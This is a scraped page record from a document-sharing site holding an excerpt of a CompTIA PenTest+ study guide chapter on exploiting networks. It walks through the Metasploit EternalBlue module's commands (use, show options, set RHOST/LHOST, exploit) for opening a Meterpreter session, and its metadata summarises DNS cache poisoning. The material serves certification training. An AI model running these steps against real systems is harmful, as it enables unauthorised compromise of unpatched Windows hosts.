[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"detail-sidebar-cat-0-en-105":3,"doc-seo-310830-105":59,"doc-detail-310830-en":130},{"code":4,"msg":5,"data":6},0,"success",[7,13,18,23,28,33,38,43,48,51,55],{"id":8,"doc_module":4,"doc_module_name":9,"category_name":10,"show_sort_weight":11,"slug":12},1,"Document","Story & Novel",90,"story-novel",{"id":14,"doc_module":4,"doc_module_name":9,"category_name":15,"show_sort_weight":16,"slug":17},2,"Literature",80,"literature",{"id":19,"doc_module":4,"doc_module_name":9,"category_name":20,"show_sort_weight":21,"slug":22},4,"Exam",70,"exam",{"id":24,"doc_module":4,"doc_module_name":9,"category_name":25,"show_sort_weight":26,"slug":27},5,"Comic",60,"comic",{"id":29,"doc_module":4,"doc_module_name":9,"category_name":30,"show_sort_weight":31,"slug":32},6,"Technology",50,"technology",{"id":34,"doc_module":4,"doc_module_name":9,"category_name":35,"show_sort_weight":36,"slug":37},7,"Healthcare",40,"healthcare",{"id":39,"doc_module":4,"doc_module_name":9,"category_name":40,"show_sort_weight":41,"slug":42},8,"Research & Report",30,"research-report",{"id":44,"doc_module":4,"doc_module_name":9,"category_name":45,"show_sort_weight":46,"slug":47},9,"Religion & Spirituality",20,"religion-spirituality",{"id":46,"doc_module":4,"doc_module_name":9,"category_name":49,"show_sort_weight":46,"slug":50},"World Cup","world-cup",{"id":52,"doc_module":4,"doc_module_name":9,"category_name":53,"show_sort_weight":52,"slug":54},10,"Lifestyle","lifestyle",{"id":56,"doc_module":4,"doc_module_name":9,"category_name":57,"show_sort_weight":24,"slug":58},19,"General","general",{"code":4,"msg":60,"data":61},"ok",{"site_id":62,"language":63,"slug":64,"title":65,"keywords":66,"description":67,"schema_data":68,"social_meta":123,"head_meta":125,"extra_data":127,"updated_unix":129},105,"en","comptia-pentest-cert-guide-chapter-5-exploiting-wired-and-wireless-networks","CompTIA PenTest+ Cert Guide - Chapter 5: Exploiting Wired and Wireless Networks","","CompTIA PenTest+ Cert Guide 第5章内容聚焦于利用有线与无线网络进行渗透的攻击思路与实操要点。文中以 EternalBlue 漏洞为例，说明其成因、影响范围及在 Metasploit 中的具体配置流程，包括使用 msf 命令选择模块、查看选项并设置 RHOST/LHOST 等关键参数后执行利用、获取 Meterpreter 会话。章节同时引入 DNS Cache Poisoning：通过篡改 DNS 解析缓存注入伪造数据，将受害者重定向到攻击者系统，并用 nslookup 的解析前后对比步骤加以说明。",{"@graph":69,"@context":122},[70,84,105],{"@type":71,"itemListElement":72},"BreadcrumbList",[73,77,79,82],{"item":74,"name":75,"@type":76,"position":8},"https://docshare.wps.com","Home","ListItem",{"item":78,"name":9,"@type":76,"position":14},"https://docshare.wps.com/document/",{"item":80,"name":20,"@type":76,"position":81},"https://docshare.wps.com/document/exam/",3,{"item":83,"name":65,"@type":76,"position":19},"https://docshare.wps.com/document/comptia-pentest-cert-guide-chapter-5-exploiting-wired-and-wireless-networks/310830/",{"url":83,"name":65,"@type":85,"image":86,"author":91,"headline":65,"publisher":94,"fileFormat":97,"inLanguage":63,"description":67,"dateModified":98,"datePublished":99,"encodingFormat":97,"isAccessibleForFree":100,"interactionStatistic":101},"DigitalDocument",{"url":87,"@type":88,"width":89,"height":90},"https://docshare.wps.com/thumbnails/comptia-pentest-cert-guide-chapter-5-exploiting-wired-and-wireless-networks/310830.png","ImageObject",300,407,{"name":92,"@type":93},"Violet","Person",{"url":74,"name":95,"@type":96},"DocShare","Organization","application/pdf","2026-11-04","2026-09-20",true,{"@type":102,"interactionType":103,"userInteractionCount":44},"InteractionCounter",{"@type":104},"ViewAction",{"@type":106,"mainEntity":107},"FAQPage",[108,114,118],{"name":109,"@type":110,"acceptedAnswer":111},"EternalBlue 利用在 Metasploit 中的核心步骤是什么？","Question",{"text":112,"@type":113},"使用 exploit/windows/smb/ms17_010_eternalblue 选择模块，再用 show options 查看可配置项，至少需要配置 RHOST（目标地址）和 LHOST（被利用后通信的对端地址），然后执行 exploit 以触发利用并建立 Meterpreter 会话。","Answer",{"name":115,"@type":110,"acceptedAnswer":116},"为什么 DNS cache poisoning 能把受害者重定向到攻击者系统？",{"text":117,"@type":113},"DNS 缓存投毒通过篡改 DNS 解析缓存、注入损坏的 DNS 数据，导致 DNS 服务器向受害者返回错误的 IP，从而把受害者引导到攻击者控制的系统。",{"name":119,"@type":110,"acceptedAnswer":120},"章节如何用 nslookup 演示 DNS 投毒前后的解析差异？",{"text":121,"@type":113},"先用 nslookup 查询 theartofhacking.org，得到正确地址（例如 104.27.176.154）；执行投毒后再次使用 nslookup，解析结果会变为攻击者系统的 IP（例如 10.2.3.4），以证明重定向发生。","https://schema.org",{"og:url":83,"og:type":124,"og:title":65,"og:site_name":95,"og:description":67},"article",{"robots":126,"canonical":83},"index,follow",{"doc_id":128,"site_id":62},310830,1792253368,{"code":4,"msg":5,"data":131},{"doc_id":128,"user_id":132,"nickname":92,"user_avatar":133,"doc_module":4,"category_id":19,"category_name":20,"doc_title":65,"doc_description":67,"doc_content":134,"file_id":135,"file_url":136,"file_type":137,"file_size":138,"view_count":44,"is_deleted":4,"is_public":8,"is_downloadable":8,"audit_status":8,"page_count":39,"language":139,"language_code":63,"site_id":62,"html_lang":63,"table_of_contents":140,"faqs":141,"seo_title":142,"seo_description":67,"update_tm":143,"read_time":46,"preview_page_count":4},4398048950312,"https://ap-avatar.wpscdn.com/avatar/400002538284de19e3c?_k=1778320343897328908","CompTIA® PenTest+ Cert Guide  \nOmar Santos Ron Taylor  \n154 CompTIA® PenTest+ Cert Guide  \nNOTE Detailed information about how to install SearchSploit is available at [https://](https://)[ ](https://)[www.exploit-db.com/searchsploit/](www.exploit-db.com/searchsploit/) .  \nOne of the most commonly used SMB exploits in recent times has been the EternalBlue exploit, which was leaked by an organization or an individual (nobody knows) that allegedly stole numerous exploits from the U.S. National Security Agency (NSA) . Successful exploitation of EternalBlue allows an unauthenticated remote attacker to compromise an affected system and execute arbitrary code. This exploit has been used in ransomware such as Wannacry and Nyeta. This exploit has been ported to many different tools, including Metasploit.  \nExample 5-2 provides a very brief example of the EternalBlue exploit in Metasploit.(Chapter 9 provides details about Metasploit.)  \nExample 5-2 Using the EternalBlue Exploit in Metasploit  \nmsf > use exploit/windows/smb/ms17_010_eternalblue msf exploit(windows/smb/ms17_ 010_eternalblue) > show options Module options (exploit/windows/smb/ms17_ 010_eternalblue):  \nName Current Setting Required Description  \nGroomAllocations 12 yes Initial number of  \ntimes to groom the kernel pool .  \nGroomDelta 5 yes The amount to  \nincrease the groom count by per try .  \nMaxExploitAttempts 3 yes The number of  \ntimes to retry  \nthe exploit .  \nProcessName spoolsv .exe yes Process to inject  \npayload into .  \nRHOST yes The target address  \nRPORT 445 yes The target port (TCP)  \n[SMBDomain . no](SMBDomain . no) (Optional) The  \nWindows domain to use for authentication  \nSMBPass no (Optional) The password  \nfor the specified username  \nSMBUser no (Optional) The  \nusername to  \nauthenticate as  \nVerifyArch true yes Check if remote  \narchitecture matches exploit Target .  \nChapter 5: Exploiting Wired and Wireless Networks 155  \nVerifyTarget true yes Check if remote OS  \nmatches exploit Target .  \nExploit target: Id Name  \n-- ----  \n0 Windows 7 and Server 2008 R2 (x64) All Service Packs msf exploit(windows/smb/ms17_ 010_eternalblue) > set RHOST [10.1.1.2](10.1.1.2)  \nmsf exploit(windows/smb/ms17_ 010_eternalblue) > set LHOST [10.10.66.6](10.10.66.6)[ ](10.10.66.6)msf exploit(ms17_ 010_eternalblue) > exploit  \nTIP How do you know where to look for a specific exploit, such as the EternalBlue exploit? To determine the exact location of any exploit, you can use the search command in Metasploit.  \nIn Example 5-2, the use exploit/windows/smb/ms17_010_eternalblue command is invoked to use the EternalBlue exploit. Then the show options command is used to show all the configurable options for the EternalBlue exploit. At a very minimum, the IP address of the remote host (RHOST) and the IP address of the host that you would like the victim to communicate with after exploitation (LHOST) must be configured. To configure the RHOST, you use the set RHOST command followed by the IP address of the remote system ( [10.1.1.2](10.1.1.2) in this example). To configure the LHOST, you use theset LHOST command followed by the IP address of the remote system ([10.10.66.6](10.10.66.6) in this example). The remote port (445) is already configured for you by default. After you run the exploit command, Metasploit executes the exploit against the target system and launches a Meterpreter session to allow you to control and further compromise the system. Meterpreter is a post-exploitation tool, part of the Metasploit framework that you will also learn more about in Chapter 9.  \nIn Chapter 3,“Information Gathering and Vulnerability Identification,” you learned that enumeration plays an important role in penetration testing because it can discover information about vulnerable systems that can help you when exploiting such vulnerable systems. You can use tools such as Nmap and Enum4linux to gather information about vulnerable SMB systems and then use tools such as Metasploit to exploit known","cbCaiiRJGTqEQDg2","https://ap.wps.com/l/cbCaiiRJGTqEQDg2","pdf",611381,"English","# Chapter 5: Exploiting Wired and Wireless Networks\n## Using the EternalBlue Exploit in Metasploit\n## DNS Cache Poisoning","[{\"question\":\"EternalBlue 利用在 Metasploit 中的核心步骤是什么？\",\"answer\":\"使用 exploit/windows/smb/ms17_010_eternalblue 选择模块，再用 show options 查看可配置项，至少需要配置 RHOST（目标地址）和 LHOST（被利用后通信的对端地址），然后执行 exploit 以触发利用并建立 Meterpreter 会话。\"},{\"question\":\"为什么 DNS cache poisoning 能把受害者重定向到攻击者系统？\",\"answer\":\"DNS 缓存投毒通过篡改 DNS 解析缓存、注入损坏的 DNS 数据，导致 DNS 服务器向受害者返回错误的 IP，从而把受害者引导到攻击者控制的系统。\"},{\"question\":\"章节如何用 nslookup 演示 DNS 投毒前后的解析差异？\",\"answer\":\"先用 nslookup 查询 theartofhacking.org，得到正确地址（例如 104.27.176.154）；执行投毒后再次使用 nslookup，解析结果会变为攻击者系统的 IP（例如 10.2.3.4），以证明重定向发生。\"}]","CompTIA PenTest+ Cert Guide - Chapter 5: Exploiting Wired and Wireless Networks | PDF",1789890582]